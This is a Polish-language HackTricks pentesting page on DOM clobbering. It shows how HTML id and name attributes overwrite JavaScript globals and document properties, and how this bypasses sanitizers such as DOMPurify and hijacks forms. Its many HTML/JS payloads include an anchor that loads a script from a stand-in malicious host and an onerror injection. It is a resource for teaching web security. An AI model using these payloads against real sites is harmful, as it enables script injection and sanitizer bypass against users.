hacktricks/pentesting-web/xss-cross-site-scripting/dom-clobbering.md
2024-02-11 01:46:25 +00:00

13 KiB

Dom Clobbering

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Podstawy

Możliwe jest generowanie globalnych zmiennych w kontekście JS za pomocą atrybutów id i name w tagach HTML.

<form id=x></form>
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>

Tylko określone elementy mogą używać atrybutu name do nadpisania globalnych zmiennych, są to: embed, form, iframe, image, img i object.

Co ciekawe, gdy używasz elementu formularza do nadpisania zmiennej, otrzymasz wartość toString tego elementu: [object HTMLFormElement], ale z anchor wartość toString będzie wartością atrybutu href. Dlatego, jeśli nadpisujesz za pomocą znacznika a, możesz kontrolować wartość, gdy jest traktowana jako ciąg znaków:

<a href="controlled string" id=x></a>
<script>
console.log(x);//controlled string
</script>

Tablice i atrybuty

Możliwe jest również nadpisanie tablicy i atrybutów obiektu:

<a id=x>
<a id=x name=y href=controlled>
<script>
console.log(x[1])//controlled
console.log(x.y)//controlled
</script>

Aby nadpisać trzeci atrybut (np. x.y.z), musisz użyć formularza:

<form id=x name=y><input id=z value=controlled></form>
<form id=x></form>
<script>
alert(x.y.z.value)//controlled
</script>

Nadpisywanie większej liczby atrybutów jest bardziej skomplikowane, ale wciąż możliwe, przy użyciu ramek (iframes):

<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
<style>@import 'https://google.com';</style>
<script>alert(x.y)//controlled</script>

{% hint style="warning" %} Tag style jest używany, aby dać wystarczająco dużo czasu na renderowanie iframe. Bez niego otrzymasz alert o undefined. {% endhint %}

Aby nadpisać głębsze atrybuty, możesz użyć iframe'ów z kodowaniem HTML w ten sposób:

<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;amp;#x20;name=e&amp;amp;#x20;href=\controlled&amp;amp;gt;<a&amp;amp;#x20;id=d&amp;amp;gt; name=d>' name=b>"></iframe>
<style>@import 'https://google.com';</style>
<script>
alert(a.b.c.d.e)//controlled
</script>

Ominięcie filtrów

Jeśli filtr pętli przez właściwości węzła, używając czegoś takiego jak document.getElementByID('x').attributes, możesz nadpisać atrybut .attributes i złamać filtr. Inne właściwości DOM, takie jak tagName, nodeName lub parentNode, również są nadpisywalne.

<form id=x></form>
<form id=y>
<input name=nodeName>
</form>
<script>
console.log(document.getElementById('x').nodeName)//FORM
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
</script>

Nadpisywanie window.someObject

W języku JavaScript często można znaleźć:

var someObject = window.someObject || {};

Manipulowanie HTML na stronie umożliwia nadpisanie someObject za pomocą węzła DOM, co potencjalnie wprowadza podatności na bezpieczeństwo. Na przykład, można zastąpić someObject elementem kotwicy wskazującym na złośliwy skrypt:

<a id=someObject href=//malicious-website.com/malicious.js></a>

W podatnym kodzie, takim jak:

<script>
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
</script>

Ta metoda wykorzystuje źródło skryptu do wykonania niechcianego kodu.

Sztuczka: DOMPurify pozwala na użycie protokołu cid:, który nie koduje podwójne cudzysłowy w adresie URL. Oznacza to, że można wstrzyknąć zakodowany podwójny cudzysłów, który zostanie zdekodowany w czasie wykonania. Dlatego wstrzyknięcie czegoś takiego jak <a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//"> spowoduje, że zakodowany HTML &quot; zostanie zdekodowany w czasie wykonania i wydostanie się z wartości atrybutu, aby utworzyć zdarzenie onerror.

Inna technika wykorzystuje element form. Niektóre biblioteki po stronie klienta sprawdzają atrybuty nowo utworzonego elementu formularza w celu ich oczyszczenia. Jednak dodanie input z id=attributes wewnątrz formularza skutecznie nadpisuje właściwość atrybutów, uniemożliwiając dostęp do rzeczywistych atrybutów przez oczyszczacz.

Możesz znaleźć przykład tego rodzaju nadpisywania w tym opisie CTF.

Nadpisywanie obiektu dokumentu

Zgodnie z dokumentacją możliwe jest nadpisanie atrybutów obiektu dokumentu za pomocą DOM Clobbering:

Interfejs Document obsługuje nazwane właściwości. Obsługiwane nazwy właściwości obiektu Document w dowolnym momencie składają się z następujących, w kolejności drzewa zgodnie z elementem, który je dostarczył, ignorując późniejsze duplikaty, a wartości z atrybutów id pochodzą przed wartościami z atrybutów name, gdy ten sam element dostarcza oba:

- Wartość atrybutu name dla wszystkich eksponowanych elementów embed, form, iframe, img i eksponowanych elementów object, które mają niepusty atrybut name i są w drzewie dokumentu z dokumentem jako korzeniem;

- Wartość atrybutu id dla wszystkich eksponowanych elementów object, które mają niepusty atrybut id i są w drzewie dokumentu z dokumentem jako korzeniem;

- Wartość atrybutu id dla wszystkich elementów img, które mają zarówno niepusty atrybut id, jak i niepusty atrybut name, i są w drzewie dokumentu z dokumentem jako korzeniem.

Za pomocą tej techniki można nadpisać powszechnie używane wartości, takie jak document.cookie, document.body, document.children, a nawet metody w interfejsie Document, takie jak document.querySelector.

document.write("<img name=cookie />")

document.cookie
<img name="cookie">

typeof(document.cookie)
'object'

//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")

document.cookie
HTMLCollection(2) [img, form, cookie: img]

typeof(document.cookie)
'object

Pisanie po zastąpieniu elementu

Wyniki wywołań document.getElementById() i document.querySelector() mogą być zmienione poprzez wstrzyknięcie znacznika <html> lub <body> z identycznym atrybutem id. Oto jak to można zrobić:

<div style="display:none" id="cdnDomain" class="x">test</div>
<p>
<html id="cdnDomain" class="x">clobbered</html>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
alert(document.querySelector('.x').innerText); // Clobbered
</script>

Ponadto, poprzez zastosowanie stylów do ukrycia wstrzykniętych tagów HTML/body, można zapobiec zakłóceniom spowodowanym przez inne teksty w innerText, co zwiększa skuteczność ataku:

<div style="display:none" id="cdnDomain">test</div>
<p>existing text</p>
<html id="cdnDomain">clobbered</html>
<style>
p{display:none;}
</style>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>

Badania nad SVG wykazały, że tag <body> może być również skutecznie wykorzystany:

<div style="display:none" id="cdnDomain">example.com</div>
<svg><body id="cdnDomain">clobbered</body></svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>

Aby tag HTML działał wewnątrz SVG w przeglądarkach takich jak Chrome i Firefox, konieczne jest użycie tagu <foreignobject>:

<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<foreignobject>
<html id="cdnDomain">clobbered</html>
</foreignobject>
</svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>

Nadpisywanie formularzy

Możliwe jest dodawanie nowych wpisów do formularza poprzez określenie atrybutu form wewnątrz niektórych tagów. Można to wykorzystać do dodawania nowych wartości do formularza oraz do dodawania nowego przycisku do jego wysłania (clickjacking lub nadużycie kodu JS .click()):

{% code overflow="wrap" %}

<!--Add a new attribute and a new button to send-->
<textarea form=id-other-form name=info>
";alert(1);//
</textarea>
<button form=id-other-form type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>

{% endcode %}

  • Aby uzyskać więcej atrybutów formularza, sprawdź to.

Referencje

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!